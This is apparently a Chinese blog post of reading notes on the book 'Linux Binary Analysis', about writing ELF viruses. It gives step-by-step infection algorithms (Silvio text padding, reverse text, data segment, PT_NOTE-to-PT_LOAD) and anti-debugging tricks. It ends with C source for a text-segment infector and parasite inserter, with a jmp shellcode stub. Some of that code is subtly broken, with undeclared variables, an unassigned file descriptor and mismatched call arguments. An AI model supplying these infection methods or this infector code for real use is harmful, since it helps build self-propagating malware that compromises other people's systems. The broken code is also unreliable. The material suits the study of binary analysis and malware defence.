《linux二进制分析》读书笔记总结--ELF病毒技术-linux/unix病毒

ELF 病毒的本质

  每个可执行文件都有一个控制流,也叫执行路径。ELF 病毒的首要目标是劫持控制流,暂时改变程序的执行路径来执行寄生代码。

寄生代码通常负责设置钩子来劫持函数,还会将自身代码复制到没有感染病毒的程序中。一旦寄生代码执行完成,通常会跳转到原始的入口点或程序正常的执行路径上。通过这种方式,宿主程序貌似是正常执行的,病毒就不容易被发现

 

特点:

  • 能感染可执行文件
  • 寄生代码必须是独立的,能够在物理上寄存与另一个程序内部,不能依赖动态链接器链接外部的库。独立于其他文件、代码库、程序等。
  • 被感染的宿主文件能继续执行并传播病毒

 

设计ELF病毒的挑战

独立寄生代码

原因:每次感染的地址都会变化,寄生代码每次注入二进制文件中的位置也会变化,所以寄存程序必须能够动态计算出所在的内存地址。寄生代码可以使用IP相对代码,通过函数相对指令指针的偏移量来计算出代码的地址来执行函数。

解决方案:使用gcc的-nostdlib-fpic -pie选项可以将其编译成位置独立的代码

字符串存储复杂度

原因:在病毒代码处理字符串时,如果遇到这样的代码const char *name = "elfvirus";,编译器会将字符串数据存放在.rodata节中,然后通过地址对字符串进行引用,一旦使用病毒注入到其他程序中,这个地址就会失效

解决方案:

  1. 编写病毒代码时使用栈来存放字符串
  2. 用gcc的-N选项,将text段和data段合并到一个单独的段中,使这个段具有可读、可写、可执行权限,这样病毒在感染时就会将这整个段注入,并包括了.rodata节的字符串数据

寻找存放寄生代码的合理空间

问题: 在设计病毒时首先要回答的问题之一便是要将病毒体(病毒的代码)注入到哪里?换言之,寄生代码要寄存在宿主代码中的什么位置?不同的二进制格式需要有不同的注入方式,但是都需要根据 ELF 头的值进行适当的调整

面临的挑战不是找到空间存放代码,而是去调整 ELF 二进制文件,以便于能够去使用空间,同时要使得可执行文件看起来正常执行,并能够保证病毒可以潜藏在 ELF 文件中以 ELF 规范正常执行。在修改二进制文件和文件布局时,需要考虑许多问题,如页对齐、偏移调整、地址调整等

将执行控制流传给寄生代码

问题:在许多情况下,完全可以调整 ELF 文件头来将入口点指向寄生代码。这样做比较可靠,但是也会非常明显。如果入口点被修改后指向了寄生代码,就可以使用 readelf –h 命令查看入口点,立即就能知道寄生代码的位置。

方案:找一个合适的位置来插入/修改一个分支,通过分支跳转到寄生代码,如插入一个 jmp 或者重写函数指针。一个比较合适的地方就是.ctors 或者.init_array 节,这两个节中存放着函数
的指针。如果不介意宿主程序执行完之后再执行寄生代码,可以使用.dtors或.fini_array 节。

 

ELF 病毒寄生代码感染方法

Silvio 填充感染

原理:利用了内存中 text段和 data 段之间存在的一页大小的填充空间,在磁盘上,text 段和 data 段是紧挨着的,不过可以利用这两个段之间的区域作为病毒体的存放区域

 

 

.text感染算法

  • 增加ELF文件头中的ehdr->e_shoff(节表偏移)的PAGE_SIZE(页长度)
  • 定位text段的phdr

    修改入口点ehdr->e_entry = phdr[TEXT].p_vaddr + phdr[TEXT].p_filesz
    增加phdr[TEXT].p_filesz(文件长度)的长度为寄生代码的长度
    增加phdr[TEXT].p_memsz(内存长度)的长度为寄生代码的长度

  • 对每个phdr(程序头),对应段若在寄生代码之后,则根据页长度增加对应的偏移
  • 找到text段的最后一个shdr(节头),把shdr[x].sh_size增加为寄生代码的长度
  • 对每个位于寄生代码插入位置之后shdr,根据页长度增加对应的偏移
  • 将真正的寄生代码插入到text段的file_base + phdr[TEXT].p_filesz(text段的尾部)

逆向text感染

在允许宿主代码保持相同虚拟地址的同时感染.text节区的前面部分,我们要逆向扩展text段,将text段的虚拟地址缩减PAGE_ALIGN(parasite_size)。
在现代Linux系统中允许的最小虚拟映射地址是0x1000,也就是text的虚拟地址最多能扩展到0x1000。在64位系统上,默认的text段虚拟地址通常是0x400000,这样寄生代码可占用的空间就达到了0x3ff000字节。在32位系统上,默认的text段虚拟地址通常是0x0804800,这就有可能产生更大的病毒。

 

 计算一个可执行文件中可插入的最大寄生代码大小公式:

max_parasite_length = orig_text_vaddr - (0x1000 + sizeof(ElfN_Ehdr))

感染算法:

  • 将ehdr_eshoff增加为寄生代码长度
  • 找到text段和phdr,保存p_vaddr(虚拟地址)的初始值

    根据寄生代码长度减小p_vaddr和p_paddr(物理地址)
    根据寄生代码长度增大p_filesz和p_memsz

  • 遍历每个程序头的偏移,根据寄生代码的长度增加它的值;使得phdr前移,为逆向text扩展腾出空间
  • 将ehdr->e_entry设置为原始text段的虚拟地址:
  • orig_text_vaddr - PAGE_ROUND(parasite_len) + sizeof(ElfN_Ehdr)
  • 根据寄生代码的长度增加ehdr->e_phoff
  • 创建新的二进制文件映射出所有的修改,插入真正的寄生代码覆盖旧的二进制文件。

 

data段感染

data段的数据有R+W权限,而text段来R+X权限,我们可以在未设置NX-bit的系统(32位linux系统)上,不改变data段权限并执行data段中的代码,这样对寄生代码的大小没有限制。但是要注意为.bss节预留空间,尽管.bss节不占用空间,但是它会在程序运行时给未初始化的遍历在data段末尾分配空间。

感染算法:

  • 将ehdr->e_shoff增加为寄生代码的长度
  • 定位data段的phdr

    将ehdr->e_entry指向寄生代码的位置
    phdr->pvaddr + phdr->filesz
    将phdr->p_filesz,phdr->p_memsz增加为寄生代码的长度

  • 调整.bss节头,使其偏移量和地址能反映寄生代码的尾部
  • 设置data段的权限(在设置了NX-bit的系统上,未设置的系统不需要这步)

    phdr[DATA].p_flags |= PF_X;

  • 使用假名为寄生代码添加节头,防止有人执行/usr/bin/strip <program>将没有进行节头说明的寄生代码清除掉。
  • 创建新的二进制文件映射出所有的修改,插入寄生代码覆盖旧的二进制文件。

 

PT_NOTE 到 PT_LOAD 转换感染

原理:

将 PT_NOTE 段的类型改为 PT_LOAD,然后将段的位置移到其他所有段之后。当然,也可以通过创建一个 PT_LOAD phdr条目来创建一个新的段,但是由于程序在没有 PT_NOTE 段时仍将执行,因此
将其转换为 PT_LOAD 类型。我自己还未在病毒中实现这种感染方法,不过我在 Quenya v0.1 中设计了一项新特性,即允许增加一个新的段。

 

 

PT_NOTE 到 PT_LOAD 转换感染算法
1.定位 data 段 phdr

  • 找到 data 段结束的地址:  ds_end_addr = phdr->p_vaddr + p_memsz
  • 找到 data 段结束的文件偏移量:  ds_end_off = phdr->p_offset + p_filesz
  • 获取到可加载段的对齐大小:  align_size = phdr->p_align

2.定位 PT_NOTE phdr

  • 将 phdr 转换成 PT_LOAD:  phdr->p_type = PT_LOAD;
  • 将下面起始地址赋给 phdr:  ds_end_addr + align_size
  • 将寄生代码的长度赋给 phdr:  phdr->p_filesz += parasite_size;phdr->p_memsz += parasite_size

3.对新建的段进行说明:ehdr->e_shoff += parasite_size

4.创建一个新的二进制文件映射出 ELF 头的修改和新的段,插入真正的寄生代码

 

进程内存病毒和 rootkits——远程代码注入技术

共享库注入

  1. .so 感染/ET_DYN 感染
  2. .so 感染——使用 LD_PRELOAD
  3. 使用 LD_PRELOAD 注入 wicked.so.1
  4. .so 感染——利用 open()/mmap() shellcode
  5. .so 感染——使用 dlopen() shellcode
  6. .so 感染——使用 VDSO 控制技术

text 段代码注入

可执行文件注入

重定位代码注入——ET_REL 注入

 

ELF 反调试和封装技术

PTRACE_TRACEME 技术

原理:

  PTRACE_TRACEME 技术利用了进程追踪的一项特性—一个程序在同一时间只能被一个进程追踪,几乎所有的调试器,包括 GDB,都会使用
ptrace。这项技术的思路就是让程序追踪自身,这样调试器就无法附加到该进程了

SIGTRAP 处理技术

原理:

  程序可以设置一个信号处理器来捕获SIGTRAP 信号,然后故意发出一个断点指令,信号处理器捕获到 SIGTRAP信号之后,会将一个全局变量从 0 加到 1。
随后程序会对这个全局变量进行检查,看是否已经从 0 加到 1 了,如果是,就说明我们自己的程序捕获到了断点,目前还没有被调试器调试。如果否(即为 0),那就说明目前一定存在调试器在对该程序进行调试。为了防止被调试,程序可以选择终止自身进程或者退出

static int caught = 0;
int sighandle(int sig)
{
    caught++;
}
int detect_debugger(void)
{
__asm__ volatile("int3");
    if (!caught) {
        printf("There is a debugger attached!\n");
        return 1;
    }
}    

/proc/self/status 技术

原理:每个进程都有动态文件,文件中包含了许多信息,其中就存放了进程是否正在被追踪的相关信息

下面是/proc/self/status 的布局示例,可以通过对此进行解析来检
测追踪者或者调试器:

 1 ryan@elfmaster:~$ head /proc/self/status
 2 Name: head
 3 State: R (running)
 4 Tgid: 19813
 5 Ngid: 0
 6 Pid: 19813
 7 PPid: 17364
 8 TracerPid: 0
 9 Uid: 1000 1000 1000 1000
10 Gid: 31337 31337 31337 31337
11 FDSize: 256

上面输出中显示的“TracerPid: 0”表示进程没有被追踪。程序要检查自身是否被追踪,可以打开/proc/slf/status,然后检查这一项的值
是否为 0。如果不为 0,则说明程序正在被追踪,就可以终止自身进程或者立即退出

 

text段填充感染实例

(1)调整 ELF 头

 1 #define JMP_PATCH_OFFSET 1 // how many bytes into the shellcode do we
 2 patch
 3 /* movl $addr, %eax; jmp *eax; */
 4 char parasite_shellcode[] =
 5 "\xb8\x00\x00\x00\x00"
 6 "\xff\xe0"
 7 ;
 8 int silvio_text_infect(char *host, void *base, void *payload,
 9                 size_t host_len, size_t parasite_len)
10 {
11         Elf64_Addr o_entry;
12         Elf64_Addr o_text_filesz;
13         Elf64_Addr parasite_vaddr;
14         uint64_t end_of_text;
15         int found_text;
16         uint8_t *mem = (uint8_t *)base;
17         uint8_t *parasite = (uint8_t *)payload;
18         Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mem;
19         Elf64_Phdr *phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];
20         Elf64_Shdr *shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff];
21         /*
22          * Adjust program headers
23          */
24         for (found_text = 0, i = 0; i < ehdr->e_phnum; i++) {
25                 if (phdr[i].p_type == PT_LOAD) {
26                         if (phdr[i].p_offset == 0) {
27                                 o_text_filesz = phdr[i].p_filesz;
28                                 end_of_text = phdr[i].p_offset +
29                                         phdr[i].p_filesz;
30                                 parasite_vaddr = phdr[i].p_vaddr +
31                                         o_text_filesz;
32                                 phdr[i].p_filesz += parasite_len;
33                                 phdr[i].p_memsz += parasite_len;
34                                 for (j = i + 1; j < ehdr->e_phnum;
35                                                 j++)
36                                         if (phdr[j].p_offset >
37                                                         phdr[i].p_offset +
38                                                         o_text_filesz)
39                                                 phdr[j].p_offset
40                                                         += PAGE_SIZE;
41                         }
42                         break;
43                 }
44         }
45         for (i = 0; i < ehdr->e_shnum; i++) {
46                 if (shdr[i].sh_addr > parasite_vaddr)
47                         shdr[i].sh_offset += PAGE_SIZE;
48                 else
49                         if (shdr[i].sh_addr + shdr[i].sh_size ==
50                                         parasite_vaddr)
51                                 shdr[i].sh_size += parasite_len;
52         }
53         /*
54          * NOTE: Read insert_parasite() src code next
55          */
56         insert_parasite(host, parasite_len, host_len,
57                         base, end_of_text, parasite,
58                         JMP_PATCH_OFFSET);
59         return 0;
60 }

(2)插入寄生代码

 1 #define TMP "/tmp/.infected"
 2 void insert_parasite(char *hosts_name, size_t psize, size_t hsize,
 3                 uint8_t *mem, size_t end_of_text, uint8_t *parasite, uint32_t
 4                 jmp_code_offset)
 5 {
 6         /* note: jmp_code_offset contains the
 7          * offset into the payload shellcode that
 8          * has the branch instruction to patch
 9          * with the original offset so control
10          * flow can be transferred back to the
11          * host.
12          */
13         int ofd;
14         unsigned int c;
15         int i, t = 0;
16         open (TMP, O_CREAT | O_WRONLY | O_TRUNC,
17                         S_IRUSR|S_IXUSR|S_IWUSR);
18         write (ofd, mem, end_of_text);
19         *(uint32_t *) &parasite[jmp_code_offset] = old_e_entry;
20         write (ofd, parasite, psize);
21         lseek (ofd, PAGE_SIZE - psize, SEEK_CUR);
22         mem += end_of_text;
23         unsigned int sum = end_of_text + PAGE_SIZE;
24         unsigned int last_chunk = hsize - end_of_text;
25         write (ofd, mem, last_chunk);
26         rename (TMP, hosts_name);
27         close (ofd);
28 }

函数应用示例:

1 uint8_t *mem = mmap_host_executable("./some_prog");
2 silvio_text_infect("./some_prog", mem, parasite_shellcode,
3 parasite_len);

参考资料:

《linux二进制分析》

https://www.anquanke.com/post/id/85256

posted @ 2020-03-14 17:24  坚持,每天进步一点点  阅读(1871)  评论(0编辑  收藏  举报